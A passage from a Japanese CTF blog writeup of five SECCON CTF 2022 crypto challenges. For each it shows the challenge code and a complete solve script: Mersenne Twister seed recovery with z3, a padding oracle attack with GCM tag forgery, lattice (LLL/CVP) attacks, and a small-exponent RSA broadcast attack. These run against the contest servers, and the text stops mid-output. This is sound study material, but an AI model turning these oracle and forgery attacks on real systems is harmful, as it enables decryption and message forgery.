SECCON CTF 2022 Writeup

Sun Nov 13 2022

    11/12-11/13 で開催していた SECCON CTF 2022 に参加しました。結果は 13th/726 でした (得点のあるチームのみカウント)。 解いた問題について writeup を書きます。

    crypto

    janken vs kurenaif

    17 solves

    server.py
    import os
    import signal
    import random
    import secrets
    
    FLAG = os.getenv("FLAG", "fake{cast a special spell}")
    
    
    def janken(a, b):
        return (a - b + 3) % 3
    
    
    signal.alarm(1000)
    print("kurenaif: Hi, I'm a crypto witch. Let's a spell battle with me.")
    
    witch_spell = secrets.token_hex(16)
    witch_rand = random.Random()
    witch_rand.seed(int(witch_spell, 16))
    print(f"kurenaif: My spell is {witch_spell}. What about your spell?")
    
    your_spell = input("your spell: ")
    your_random = random.Random()
    your_random.seed(int(your_spell, 16))
    
    for _ in range(666):
        witch_hand = witch_rand.randint(0, 2)
        your_hand = your_random.randint(0, 2)
    
        if janken(your_hand, witch_hand) != 1:
            print("kurenaif: Could you come here the day before yesterday?")
            quit()
    
    print("kurenaif: Amazing! Your spell is very powerful!!")
    print(f"kurenaif: OK. The flag is here. {FLAG}")

    与えられたシードで生成される乱数列に対して、666回連続でじゃんけんに勝てるような乱数列が生成されるシードを指定できればフラグが手に入ります。

    これを実現するためには random.seedrandint の実装を理解しないと難しそうです。ということでどういう実装になっているかを確認し、 python で再実装しました。

    random.seed:

    def random_seed(seed):
        init_key = []
        if isinstance(seed, int):
            while seed != 0:
                init_key.append(seed % 2 ** 32)
                seed //= 2 ** 32
        else:
            init_key = seed
        key = init_key if len(init_key) > 0 else [0]
        keyused = len(init_key) if len(init_key) > 0 else 1
        return init_by_array(key, keyused)
    
    
    def init_by_array(init_key, key_length):
        s = 19650218
        mt = [0] * N
        mt[0] = s
        for mti in range(1, N):
            if isinstance(mt[mti - 1], int):
                mt[mti] = (1812433253 * (mt[mti - 1] ^ (mt[mti - 1] >> 30)) + mti) % 2 ** 32
            else:
                mt[mti] = (1812433253 * (mt[mti - 1] ^ LShR(mt[mti - 1], 30)) + mti)
        i = 1
        j = 0
        k = N if N > key_length else key_length
        while k > 0:
            if isinstance(mt[i - 1], int):
                mt[i] = ((mt[i] ^ ((mt[i - 1] ^ (mt[i - 1] >> 30)) * 1664525)) + init_key[j] + j) % 2 ** 32
            else:
                mt[i] = ((mt[i] ^ ((mt[i - 1] ^ LShR(mt[i - 1], 30)) * 1664525)) + init_key[j] + j)
            i += 1
            j += 1
            if i >= N:
                mt[0] = mt[N - 1]
                i = 1
            if j >= key_length:
                j = 0
            k -= 1
        for k in range(1, N)[::-1]:
            if isinstance(mt[i - 1], int):
                mt[i] = ((mt[i] ^ ((mt[i - 1] ^ (mt[i - 1] >> 30)) * 1566083941)) - i) % 2 ** 32
            else:
                mt[i] = ((mt[i] ^ ((mt[i - 1] ^ LShR(mt[i - 1], 30)) * 1566083941)) - i)
            i += 1
            if i >= N:
                mt[0] = mt[N - 1]
                i = 1
        mt[0] = 0x80000000
        return mt
    
    
    # check
    for i in range(100):
        random.seed(i)
        assert random_seed(i) == list(random.getstate()[1][:N])
    i = 2 ** 64 + 2 ** 32 + 2 ** 16
    random.seed(i)
    assert random_seed(i) == list(random.getstate()[1][:N])

    randint(0, 2):

    def update_mt(mt):
        N = 624
        M = 397
        MATRIX_A = 0x9908B0DF
        UPPER_MASK = 0x80000000
        LOWER_MASK = 0x7FFFFFFF
        for kk in range(N - M):
            y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
            if isinstance(y, int):
                mt[kk] = mt[kk + M] ^ (y >> 1) ^ (y % 2) * MATRIX_A
            else:
                mt[kk] = mt[kk + M] ^ LShR(y, 1) ^ (y % 2) * MATRIX_A
        for kk in range(N - M, N - 1):
            y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
            if isinstance(y, int):
                mt[kk] = mt[kk + (M - N)] ^ (y >> 1) ^ (y % 2) * MATRIX_A
            else:
                mt[kk] = mt[kk + (M - N)] ^ LShR(y, 1) ^ (y % 2) * MATRIX_A
        y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK)
        if isinstance(y, int):
            mt[N - 1] = mt[M - 1] ^ (y >> 1) ^ (y % 2) * MATRIX_A
        else:
            mt[N - 1] = mt[M - 1] ^ LShR(y, 1) ^ (y % 2) * MATRIX_A
    
    
    def rand_int_0_2(n, seed):
        mt = random_seed(seed)
        update_mt(mt)
        my_rands = []
        i = 0
        while True:
            if len(my_rands) == n:
                break
            while True:
                tmp_rand = temper(mt[i]) >> 30
                if tmp_rand <= 2:
                    break
                i += 1
                if i >= N:
                    i -= N
                    update_mt(mt)
            my_rands.append(tmp_rand)
            i += 1
            if i >= N:
                i -= N
                update_mt(mt)
        return my_rands
    
    
    # check
    random.seed(1)
    rands = [random.randint(0, 2) for _ in range(N)]
    my_rands = rand_int_0_2(N, 1)
    assert my_rands == rands

    ここまでは理解のためにとりあえず実装したという感じだったのですが、せっかくなので z3 を試してみました。そしたら普通に答えが見つかってしまいました。非想定解だったらすみません… 特に考察とかもしていないので書くことがないです。所望の乱数列を作るには乱数列分の自由度があったほうがよさそうと思い、 seed は 32×66632 \times 666 bits としました。

    import random
    
    from pwn import remote
    from z3 import *
    
    
    N = 624
    M = 397
    MATRIX_A = 0x9908B0DF
    UPPER_MASK = 0x80000000
    LOWER_MASK = 0x7FFFFFFF
    
    
    def temper(state):
        y = state
        if isinstance(y, int):
            y ^= y >> 11
        else:
            y ^= LShR(y, 11)
        y ^= (y << 7) & 0x9D2C5680
        y ^= (y << 15) & 0xEFC60000
        if isinstance(y, int):
            y ^= y >> 18
        else:
            y ^= LShR(y, 18)
        return y
    
    
    NN = 666
    
    io = remote("janken-vs-kurenaif.seccon.games", 8080)
    
    io.recvuntil(b"kurenaif: My spell is ")
    ret = io.recvuntil(b".")
    random.seed(int(ret[:-1], 16))
    rands = [random.randint(0, 2) for _ in range(NN)]
    state = [BitVec(f"state_{i}", 32) for i in range(N)]
    next_state = state.copy()
    update_mt(next_state)
    s = Solver()
    my_rands = []
    i = 0
    while True:
        if len(my_rands) == NN:
            break
        tmp_rand = LShR(temper(next_state[i]), 30)
        my_rands.append(tmp_rand)
        i += 1
        if i >= N:
            i -= N
            update_mt(next_state)
    for i in range(NN):
        s.add(my_rands[i] == (rands[i] + 1) % 3)
    s.add(state[0] == 0x80000000)
    s.check()
    
    m = s.model()
    state = [m[s].as_long() for s in state]
    
    my_seed = [BitVec(f"seed_{i}", 32) for i in range(NN)]
    mt = random_seed(my_seed)
    s = Solver()
    for i in range(N):
        s.add(mt[i] == state[i])
    update_mt(mt)
    update_mt(state)
    for i in range(NN - N):
        s.add(mt[i] == state[i])
    s.check()
    
    m = s.model()
    my_seed = [m[s].as_long() for s in my_seed]
    
    my_seed_int = 0
    for s in my_seed[::-1]:
        my_seed_int *= 2**32
        my_seed_int += s
    
    # check
    random.seed(my_seed_int)
    my_rands = [random.randint(0, 2) for _ in range(NN)]
    for i in range(NN):
        assert janken(my_rands[i], rands[i]) == 1
    
    io.sendlineafter(b"your spell: ", hex(my_seed_int).encode())
    _ = io.recvline()
    print(io.recvline())

    SECCON{https://youtu.be/h0GSFxoRhrc}

    witches_symmetric_exam

    22 solves

    problem.py
    from Crypto.Cipher import AES
    from Crypto.Random import get_random_bytes
    from Crypto.Util.Padding import pad, unpad
    from flag import flag, secret_spell
    
    key = get_random_bytes(16)
    nonce = get_random_bytes(16)
    
    
    def encrypt():
        data = secret_spell
        gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
        gcm_ciphertext, gcm_tag = gcm_cipher.encrypt_and_digest(data)
    
        ofb_input = pad(gcm_tag + gcm_cipher.nonce + gcm_ciphertext, 16)
    
        ofb_iv = get_random_bytes(16)
        ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)
        ciphertext = ofb_cipher.encrypt(ofb_input)
        return ofb_iv + ciphertext
    
    
    def decrypt(data):
        ofb_iv = data[:16]
        ofb_ciphertext = data[16:]
        ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)
    
        try:
            m = ofb_cipher.decrypt(ofb_ciphertext)
            temp = unpad(m, 16)
        except:
            return b"ofb error"
    
        try:
            gcm_tag = temp[:16]
            gcm_nonce = temp[16:32]
            gcm_ciphertext = temp[32:]
            gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=gcm_nonce)
    
            plaintext = gcm_cipher.decrypt_and_verify(gcm_ciphertext, gcm_tag)
        except:
            return b"gcm error"
    
        if b"give me key" == plaintext:
            your_spell = input("ok, please say secret spell:").encode()
            if your_spell == secret_spell:
                return flag
            else:
                return b"Try Harder"
    
        return b"ok"
    
    
    print(f"ciphertext: {encrypt().hex()}")
    while True:
        c = input("ciphertext: ")
        print(decrypt(bytes.fromhex(c)))

    secret_spell を AES の GCM モードで暗号化+署名生成した後、それらをさらに AES の OFB モードで暗号化したものが渡されます。

    AES の OFB モードは wikipedia の図を見ればわかるように、 ciphertext をいじることによって復号結果を調整することが簡単にできます。そのため Padding Oracle Attack を使って平文 (ここでは GCM モードのタグ、 nonce、暗号文) が求まります。またこれを応用し、 iv の値を指定することで AES の Enc(iv) も求められます。これで GCM モードのタグを計算するのに必要するための値はすべて計算できるため、後はやるだけです。

    solve.sage
    from Crypto.Cipher import AES
    from Crypto.Random import get_random_bytes
    from Crypto.Util.Padding import pad, unpad
    from pwn import xor, remote, unhex
    
    
    X = GF(2).polynomial_ring().gen()
    poly = X ** 128 + X ** 7 + X ** 2 + X ** 1 + 1
    F = GF(2 ** 128, name='a', modulus=poly)
    R.<x> = PolynomialRing(F)
    
    
    def tobin(x, n):
        x = Integer(x)
        nbits = x.nbits()
        assert nbits <= n
        return x.bits() + [0] * (n - nbits)
    
    
    def frombin(v):
        return int("".join(map(str, v)), 2)
    
    
    def toF(x):
        x = frombin(tobin(x, 128))
        return F.fetch_int(x)
    
    
    def fromF(x):
        x = x.integer_representation()
        x = frombin(tobin(x, 128))
        return x
    
    
    def encrypt():
        _ = io.recvuntil(b"ciphertext: ")
        return unhex(io.recvline().strip().decode())
    
    
    def decrypt(data: bytes):
        io.sendlineafter(b"ciphertext: ", data.hex().encode())
        return io.recvline().strip()
    
    
    io = remote("witches-symmetric-exam.seccon.games", 8080)
    
    ct = encrypt()
    iv = ct[:16]
    ct = ct[16:]
    
    pt = b""
    for block_idx in range(0, 64, 16)[::-1]:
        ct_block = ct[:block_idx + 16]
        for i in range(16):
            for j in range(256):
                if b"ofb error" not in decrypt(iv + ct_block[:-16] + ct_block[-16:-16+15-i] + long_to_bytes(j) + ct_block[len(ct_block)-16+16-i:]):  # TODO ofb error
                    k = (i + 1) ^^ j  # k は AES の出力
                    tmp = long_to_bytes(k ^^ ct_block[-16+15-i])
                    if i == 0 and tmp == b"\x01":
                        continue
                    pt = tmp + pt
                    ct_block = ct_block[:-16] + ct_block[-16:-16+15-i] + xor(long_to_bytes(j) + ct_block[len(ct_block)-16+16-i:], long_to_bytes(i + 1), long_to_bytes(i + 2))
                    print(pt)
                    break
    
    temp = unpad(pt, 16)
    gcm_tag = temp[:16]
    gcm_nonce = temp[16:32]
    gcm_ciphertext = temp[32:]
    
    
    def find_encrypt_input(inp: bytes):
        assert len(inp) == 16
        ret = b""
        ct_block = b"\x00" * 16
        iv = inp
        for i in range(16):
            for j in range(256):
                if b"ofb error" not in decrypt(iv + ct_block[:-16] + ct_block[-16:-16+15-i] + long_to_bytes(j) + ct_block[len(ct_block)-16+16-i:]):  # TODO ofb error
                    k = (i + 1) ^^ j  # k は AES の出力
                    tmp = long_to_bytes(k ^^ ct_block[-16+15-i])
                    if i == 0 and tmp == b"\x01":
                        continue
                    ret = long_to_bytes(k) + ret
                    print(ret)
                    ct_block = ct_block[:-16] + ct_block[-16:-16+15-i] + xor(long_to_bytes(j) + ct_block[len(ct_block)-16+16-i:], long_to_bytes(i + 1), long_to_bytes(i + 2))
                    break
        return ret
    
    H_bytes = find_encrypt_input(b"\x00" * 16)
    H = toF(bytes_to_long(H_bytes))
    
    
    def ghash(iv: bytes, H):
        fill = (16 - (len(iv) % 16)) % 16 + 8
        ghash_in = iv + b"\x00" * fill + long_to_bytes(8 * len(iv), 8)
        assert len(ghash_in) % 16 == 0
        ghash = toF(0)
        for i in range(0, len(ghash_in), 16):
            ghash_block = ghash_in[i: i+16]
            ghash += toF(bytes_to_long(ghash_block))
            ghash *= H
        return long_to_bytes(fromF(ghash))
    
    
    j0 = ghash(gcm_nonce, H)
    nonce_ctr = j0[:12]
    iv_ctr_0 = long_to_bytes((bytes_to_long(j0) + 1) & 0xffffffff, 4)
    iv_ctr_1 = long_to_bytes((bytes_to_long(j0) + 2) & 0xffffffff, 4)
    ctr_enc_0 = find_encrypt_input(nonce_ctr + iv_ctr_0)
    ctr_enc_1 = find_encrypt_input(nonce_ctr + iv_ctr_1)
    dec_0 = xor(gcm_ciphertext[:16], ctr_enc_0)
    dec_1 = xor(gcm_ciphertext[16:], ctr_enc_1)[:len(gcm_ciphertext[16:])]
    dec_secret_spell = dec_0 + dec_1
    print(dec_secret_spell)
    # b'decrypt_all!!277260221!!'
    
    new_pt = b"give me key"
    S = toF(bytes_to_long(find_encrypt_input(j0)))
    L = toF(int("%016x%016x" % (0, 8*len(new_pt)), 16))
    new_ct = b""
    Cs = []
    for i in range(0, len(new_pt), 16):
        pt_block = new_pt[i: i+16]
        C = toF(bytes_to_long(xor(ctr_enc_0, pt_block.ljust(16, b"\x00"))))
        ct_block = long_to_bytes(fromF(C))[:len(pt_block)]
        Cs.append(toF(bytes_to_long(ct_block + b"\x00" * (-len(ct_block) % 16))))
        new_ct += ct_block
    T = toF(0)
    for i, C in enumerate(Cs[::-1], 2):
        T += C * H**i
    T += L * H + S
    tag = long_to_bytes(fromF(T))
    
    new_new_ct = b""
    new_new_ct += xor(ct[:16], pt[:16], tag)
    new_new_ct += xor(ct[16:32], pt[16:32], gcm_nonce)
    new_new_ct += xor(ct[32:48], pt[32:48], pad(new_ct, 16))
    
    io.sendlineafter(b"ciphertext: ", (iv + new_new_ct).hex().encode())
    io.sendlineafter(b"ok, please say secret spell:", dec_secret_spell)
    print(io.recvline())

    SECCON{you_solved_this!?I_g1ve_y0u_symmetr1c_cipher_mage_certificate}

    insufficient

    33 solves

    problem.py
    from random import randint
    from Crypto.Util.number import getPrime, bytes_to_long
    from secret import FLAG
    
    
    # f(x,y,z) = a1*x + a2*x^2 + a3*x^3
    #          + b1*y + b2*y^2 + b3*y^3
    #          + c*z + s mod p
    def calc_f(coeffs, x, y, z, p):
        ret = 0
        ret += x * coeffs[0] + pow(x, 2, p) * coeffs[1] + pow(x, 3, p)*coeffs[2]
        ret += y * coeffs[3] + pow(y, 2, p) * coeffs[4] + pow(y, 3, p)*coeffs[5]
        ret += z * coeffs[6]
        ret += coeffs[7]
    
        return ret % p
    
    
    p = getPrime(512)
    
    
    # [a1, a2, a3, b1, b2, b3, c, s]
    coeffs = [randint(0, 2**128) for _ in range(8)]
    
    key = 0
    for coeff in coeffs:
        key <<= 128
        key ^= coeff
    
    cipher_text = bytes_to_long(FLAG) ^ key
    print(cipher_text)
    
    shares = []
    for _ in range(4):
        x = randint(0, p)
        y = randint(0, p)
        z = randint(0, 2**128)
    
        w = calc_f(coeffs, x, y, z, p)
        packed_share = ((x,y), w)
        shares.append(packed_share)
    
    print(p)
    print(shares)

    randint(0, 2**128) で生成された a1,a2,a3,b1,b2,b3,c,sa_1, a_2, a_3, b_1, b_2, b_3, c, s を使って key が計算され、その key でフラグが暗号化されています。 また、これらの係数を求めるヒントとして、 xi,yix_i, y_i (0i<40 \le i < 4) と fi=a1xi+a2xi2+a3xi3+b1yi+b2yi2+b3yi3+czi+smodpf_i = a_1 x_i + a_2 x_i^2 + a_3 x_i^3 + b_1 y_i + b_2 y_i^2 + b_3 y_i^3 + c z_i + s \mod p が与えられています。 ziz_i は未知で、 random.randint(0, 2**128) で生成されています。

    fif_i の式は、 czicz_i をひっくるめて変数とみなすと、 a1,a2,a3,b1,b2,b3,czi,sa_1, a_2, a_3, b_1, b_2, b_3, c z_i, s について線形な式になっています。しかも pp の値に比べて各係数は十分小さいです。 LLL を使えという声が聞こえてきます。格子の作り方は下のスクリプトを参照してください。

    注意点として、この格子の作り方だと、 czi+scz_i + s については正しい値が見つかりますが、 czi,scz_i, s の値は不定になってしまいます。これは求まった czi,scz_i, s がそれぞれ czi+δ,sδcz_i + \delta, s - \delta という値を取りうるからです。 δ\delta を無視するため、 (czi+δ)(czj+δ)=c(zizj)(cz_i + \delta) - (cz_j + \delta) = c(z_i - z_j) を複数求め、 gcd を取れば cc が求まり、そこから zi,s,δz_i, s, \delta も求まります。

    solve.sage
    ct = 115139400156559163067983730101733651044517302092738415230761576068368627143021367186957088381449359016008152481518188727055259259438853550911696408473202582626669824350180493062986420292176306828782792330214492239993109523633165689080824380627230327245751549253757852668981573771168683865251547238022125676591
    p = 8200291410122039687250292442109878676753589397818032770561720051299309477271228768886216860911120846659270343793701939593802424969673253182414886645533851
    shares = [((6086926015098867242735222866983726204461220951103360009696454681019399690511733951569533187634005519163004817081362909518890288475814570715924211956186561, 180544606207615749673679003486920396349643373592065733048594170223181990080540522443341611038923128944258091068067227964575144365802736335177084131200721), 358596622670209028757821020375422468786000283337112662091012759053764980353656144756495576189654506534688021724133853284750462313294554223173599545023200), ((1386358358863317578119640490115732907593775890728347365516358215967843845703994105707232051642221482563536659365469364255206757315665759154598917141827974, 4056544903690651970564657683645824587566358589111269611317182863269566520886711060942678307985575546879523617067909465838713131842847785502375410189119098), 7987498083862441578197078091675653094495875014017487290616050579537158854070043336559221536943501617079375762641137734054184462590583526782938983347248670), ((656537687734778409273502324331707970697362050871244803755641285452940994603617400730910858122669191686993796208644537023001462145198921682454359699163851, 7168506530157948082373212337047037955782714850395068869680326068416218527056283262697351993204957096383236610668826321537260018440150283660410281255549702), 1047085825033120721880384312942308021912742666478829834943737959325181775143075576517355925753610902886229818331095595005460339857743811544053574078662507), ((5258797924027715460925283932681628978641108698338452367217155856384763787158334845391544834908979711067046042420593321638221507208614929195171831766268954, 4425317882205634741873988391516678208287005927456949928854593454650522868601946818897817646576217811686765487183061848994765729348913592238613989095356071), 866086803634294445156445022661535120113351818468169243952864826652249446764789342099913962106165135623940932785868082548653702309009757035399759882130676)]
    
    
    # [a1, a2, a3, b1, b2, b3, s, cz1, cz2, cz3, cz4, k1, k2, k3, k4] * mat
    mat = matrix(ZZ, 15, 15)
    lb = []
    ub = []
    for i in range(7):
        mat[i, i] = 1
        lb.append(0)
        ub.append(2**128)
    for i in range(7, 11):
        mat[i, i] = 1
        lb.append(0)
        ub.append(2**256)
    for i in range(4):
        (x, y), w = shares[i]
        mat[0, 11+i] = x
        mat[1, 11+i] = pow(x, 2, p)
        mat[2, 11+i] = pow(x, 3, p)
        mat[3, 11+i] = y
        mat[4, 11+i] = pow(y, 2, p)
        mat[5, 11+i] = pow(y, 3, p)
        mat[6, 11+i] = 1
        mat[7+i, 11+i] = 1
        mat[11+i, 11+i] = -p
        lb.append(w)
        ub.append(w)
    # https://github.com/rkm0959/Inequality_Solving_with_CVP/blob/main/solver.sage
    res = solve(mat, lb, ub)
    
    cz_pad = []
    for i in range(4):
        cz_pad.append(int(res[2][7+i]))
    
    c = gcd(cz_pad[0] - cz_pad[1], cz_pad[0] - cz_pad[2])
    t = cz_pad[0] % c - c
    s = int(res[2][6]) + t
    
    coeffs = []
    for i in range(6):
        coeffs.append(int(res[2][i]))
    coeffs.append(c)
    coeffs.append(s)
    
    key = 0
    for coeff in coeffs:
        key <<= 128
        key ^^= coeff
    
    print(long_to_bytes(ct ^^ key))

    SECCON{Unfortunately_I_could_not_come_up_with_a_more_difficult_problem_than_last_year_sorry...-6fc18307d3ed2e7673a249abc2e0e22c}

    this_is_not_lsb

    34 solves

    problem.py
    from Crypto.Util.number import *
    from flag import flag
    
    p = getStrongPrime(512)
    q = getStrongPrime(512)
    e = 65537
    n = p * q
    phi = (p - 1) * (q - 1)
    
    d = pow(e, -1, phi)
    
    print(f"n = {n}")
    print(f"e = {e}")
    print(f"flag_length = {flag.bit_length()}")
    
    # Oops! encrypt without padding!
    c = pow(flag, e, n)
    print(f"c = {c}")
    
    # padding format: 0b0011111111........
    def check_padding(c):
        padding_pos = n.bit_length() - 2
        m = pow(c, d, n)
    
        return (m >> (padding_pos - 8)) == 0xFF
    
    
    while True:
        c = int(input("c = "))
        print(check_padding(c))

    padding の形が特殊で、復号結果の先頭ビットが 0011111111 となっているときに unpad が成功します。

    mm をフラグ、 c=memodnc = m^e \mod n として、 ckemodnc k^e \mod n を送信すると、復号結果は mkmodnmk \mod n となることを利用します。ある適当な kk を送信して unpad が成功した場合、 mkmodnmk \mod n0011111111 で始まることとなり nn よりもやや小さいことがわかります。このような kk を大量に集めて LLL を使えば mm が求まります (40個ぐらい集めた)。

    solve.sage
    import random
    from tqdm import tqdm
    from pwn import remote
    
    ks = []
    ns = []
    
    while True:
        io = remote("this-is-not-lsb.seccon.games", 8080)
        _ = io.recvuntil(b"n = ")
        n = int(io.recvline())
        if n.bit_length() != 1024:
            print("yarinaoshi")
            io.close()
        else:
            break
    _ = io.recvuntil(b"flag_length = ")
    flag_length = int(io.recvline())
    _ = io.recvuntil(b"c = ")
    c = int(io.recvline())
    e = 65537
    
    for _ in tqdm(range(40000)):
        k = random.randint(1, n - 1)
        _ = io.sendlineafter(b"c = ", str(c * pow(k, e, n) % n).encode())
        if io.recvline().strip().decode() == "True":
            ks.append(k)
            ns.append(n)
            print(len(ks), k)
    
    M = len(ks)
    # [pad, pad, ..., m] = [l1, l2, ... lM, m] * mat
    mat = matrix(ZZ, M+1, M+1)
    for i in range(M):
        mat[i, i] = -ns[i]
        mat[M, i] = ks[i]
    mat[M, M] = 1
    lb = [int("0011111111" + "0" * 1014, 2)] * M + [bytes_to_long(b"SECCON{") * 256 ** 48]
    ub = [int("0011111111" + "1" * 1014, 2)] * M + [bytes_to_long(b"SECCON|") * 256 ** 48]
    res = solve(mat, lb, ub)
    print(long_to_bytes(int(res[2][-1])))

    SECCON{WeLC0me_t0_tHe_MirRoR_LaNd!_tHIs_is_lSb_orAcLe!}

    BBB

    50 solves

    chall.py
    from Crypto.Util.number import bytes_to_long, getPrime
    from random import randint
    from math import gcd
    from secret import FLAG
    from os import urandom
    
    
    assert len(FLAG) < 100
    
    
    def generate_key(rng, seed):
        e = rng(seed)
        while True:
            for _ in range(randint(10,100)):
                e = rng(e)
            p = getPrime(1024)
            q = getPrime(1024)
            phi = (p-1)*(q-1)
            if gcd(e, phi) == 1:
                break
    
        n = p*q
        return (n, e)
    
    
    def generate_params():
        p = getPrime(1024)
        a = randint(0, p-1)
    
        return (p,a)
    
    
    def main():
        p,a = generate_params()
        print("[+] The parameters of RNG:")
        print(f"{a=}")
        print(f"{p=}")
        b = int(input("[+] Inject [b]ackdoor!!: "))
        rng = lambda x: (x**2 + a*x + b) % p
    
        keys = []
        seeds = []
        for i in range(5):
            seed = int(input("[+] Please input seed: "))
            seed %= p
            if seed in seeds:
                print("[!] Same seeds are not allowed!!")
                exit()
            seeds.append(seed)
            n, e = generate_key(rng, seed)
            if e <= 10:
                print("[!] `e` is so small!!")
                exit()
    
            keys.append((n,e))
    
        flag = bytes_to_long(FLAG + urandom(16))
        for n,e in keys:
            c = pow(flag, e, n)
            print("[+] Public Key:")
            print(f"{n=}")
            print(f"{e=}")
            print("[+] Cipher Text:", c)
    
    
    if __name__ == "__main__":
        main()

    RSA の公開鍵 ee が、 e=rng(e)e = \mathrm{rng}(e) を何度か計算 (回数はランダム) することで生成されます。 rngf(x)=x2+ax+bmodpf(x) = x^2 + ax + b \mod p という形をしており、 a,pa, p は given で bbee の初期値は指定できます。生成された eenn を使って暗号化したフラグが得られます。これを5回行えます。

    ee が小さいときになんか悪さができないか気になるので初手で確認します。 e10e \le 10 は弾かれてしまうため、 e=11e = 11 のときを考えると、フラグの文字数が99文字以下であることから暗号文の mod を取る前は 99×8×11=871299 \times 8 \times 11 = 8712 bit であることがわかります。 2048 bit の nn 5個での暗号が既知なため、 CRT を計算すれば 2048×5=102402048 \times 5 = 10240 bit 以下の暗号文については ee 乗根を取れば平文が直接計算できてしまいます。

    e=11e = 11 を5回実現する bbee の初期値を考えます。 bb については e=e2+ae+bmodpe = e^2 + ae + b \mod p となるように決めてあげれば、 e=11e = 11 が不動点となり rng を呼ぶ回数に関わらず ee が固定されます。数回 (例えば4回) rng を計算することで e=11e = 11 となるような初期値は f(f(f(f(e))))=emodef(f(f(f(e)))) = e \mod e を解くことで求まります。これの解の個数については p,ap, a に依存してしまうため、何回かガチャを回す必要がありました。

    solve.sage
    a=27369245210289386000526318514605318971653744035453041755627936950191800370152514525569332479447801956262032901707717125882844247382472152455434481666695796989837027986272859891721819470297025863094697089997184239773496107857592420268317359858275093675476827404478533805160124354119128072421752989042825267445
    p=130093144968243935078986528479766130437304163620555723854545367089878986296019866578111181166480453668822869467410372758232509622191746977509119000442762376116637490521234470851889951225051406222367975586382630818585688578771312073687545768706330682143386332513352136013919176563564224353727902173378017506517
    
    x = 11
    b = (x - (x ** 2 + a * x)) % p
    PR.<x> = PolynomialRing(Zmod(p))
    f = x
    for _ in range(4):
        f = f^2 + a * f + b
    roots = (f - 11).roots(multiplicities=False)
    print(roots)
    
    """
    [+] The parameters of RNG:
    a=52277472080269613433144640539303534154154668798737834165115043595876739227442108053148002885892522326069219595206892041739111316065671229949250521821449042711622590673835477663652491943227757967748818830657298306042203539329637341548678949584350056573262256579991020617185626644801564376991915479254627098106
    p=128935882295615658034848963571001401569570030526989068702233912414162535164619439929091116879472821302327076660169626528400203289516018703892450126963333865525141651603323113437523406418322196508172425137791184649576731443783999933794481139284801850539862808404559548596572086091644848176170513832440182326703
    [+] Inject [b]ackdoor!!: 69627218595112542409653771922668132152148795848829167694904082516168544321234011060827552652546360924873967753572320182870791970857709990020494894780729857797859760604425312887439620716105644895625118551725641881419418286293988911936937250996158630393429219642896516193818537365407032733941498890400013554239
    [+] Please input seed: 11
    [+] Please input seed: 6201518432286934030495159591413396426269909746193971801521532605463506046423635263104158317526191916624340062254271847833970032745044898179153841458657640542007389686750635234987236709747304871277385909380442046713965698392233165763426072985733637122566195990833785209544550153755514824916906763569925303818
    [+] Please input seed: 11163870618455787345224486267573474080033997787280805036566310251363696420748699966921814199222231588307865402229876368875461090319722614540978383054419313244646930781988780382358250282309658246165513657504329788230900153138832465174396966940103023415778630937312085971177981535544465613355736885903100063891
    [+] Please input seed: 26032725239817815450441757151638177043200424576767800672094499029738176303708951443012323036123160072049632219678510026706737783739593103053385261965532637790371801264958162240061079902572753686480638329176809269025098552486932149069193504029578605527242077971100414056576316774937052086115640513262846044549
    [+] Please input seed: 50625684975528229151262565880059690372214937151483433865024369788547619633468380432930790957457138904208224845284224459954354189710754370889814343176352185023147259664529473533809834572521684853942967977957077074509429351967430443176608685670873188439358473853468113922810142671906231713062957839922709184048
    [+] Public Key:
    n=22613348679702495219351633545031633063620394355834365312399599057754915315452210989918206531176630892546787541881034831386013453297051998269954756310493861505427550769828866005416603054559728345896907978975079211590296622514425568137515120937738546956240516068925094155443440769592457890749632692855150317796525639109892233235693735487928277772322844743811238272535615952194816471306022873460674076330764587095303516349725454701095437089049025135528886887667435614298245195270962892661988440785326845961972043133501093953478882415310500952548379858409472629446235263930381245654051557633698777106822307542287703907269
    e=11
    [+] Cipher Text: 6878732537233753109832483290266651063614447044398347084819777840853165947203507369788126298415036013002661271324860933886111074677232822740045152817461690617990902678312306808891517925776348800496312485748056772141514993834668978209438280861909980008331766402034879910942824260752266756519181315731287191835392922717370337222556297168753207638645117081107598711825773565865229488157636882730142794189855074388448694203639616895758814957039667519557180433384721284006522153895024861666073665233081821430338993433350713318779633939072477125006368493598896255397493627223958200746135515845262560900830032082933876823846
    [+] Public Key:
    n=13133014074035138400067665316961915072193507072225500957802085734048457503882599709052833289171035439634567810626509466586090533938912085501623235590019603049964966879606731941546684469579587146870548201820262052498675417210737966888036930071028531478817597870128224258287756042537230981419522821606718525855843240014604664221469197215394225320400437247092986008511984819846062289772969978522076494035299458975949439234097832661865810100120591103118310004297832318549029706300914765772919912295332635372537976879133169404185188378768158913399067963946703531729791315404220844679466149723628749712619382058108386560451
    e=11
    [+] Cipher Text: 12256225936835976787019680958336212278044118862465520800553544614087223806626860766290399176688590330102297301461074146408453010087764709934662765753500496656279140005596745634200532522203705332746267215893371465619817212006180188737998922881114480063713976315623175075706144613411969772989639510491385378872944655147840563607788108468029096540066811944465074011663710453301515542235299684259486183739177126116527412080613020730995435610495120806176717748413565126934819276984211501695713346423058207564958748731759722987805875085856618165750685787734749229632251955372955623529555669994809992735608033385868808239114
    [+] Public Key:
    n=16123968586884933733389574291090914963167150419289874128348128872079229709540830478901870144045528476121264647347085694986698336712182802424687184091361517637506394689515675363343349624495437931954684618875268085545315821571788494549022427977385174327073591580049030420788831195858470152487900922238839044980345001556929363995380814026375959360628717964645904859132706622763021507075036041649231842587774215787970288186683422381737588068390450677248226880323895544567226145425840512539437539583025276852910269801339827230226401906679990392759959459271813793047558522035131051438040341019219030981740556149390487603467
    e=11
    [+] Cipher Text: 11331105292061989501032149514156450465805173159909131280723989710674237030363750872548867430904389751159310018284842221846445095489793695163730793322816822511557106286430809333926432810847849939546667114001971805685647530615137286026457496123256864567354912625327463945465830474419792573263934905912525150110930342116768789614995391794926048075000757152906266649596756304901256262778931653173869467636613252714792799741633245432091794124468296008851778732084272142664458682799302529900574165723080507233042276267304460311355451924278486409408816619876612291321116991718221857013638562426760760544112596495363069149984
    [+] Public Key:
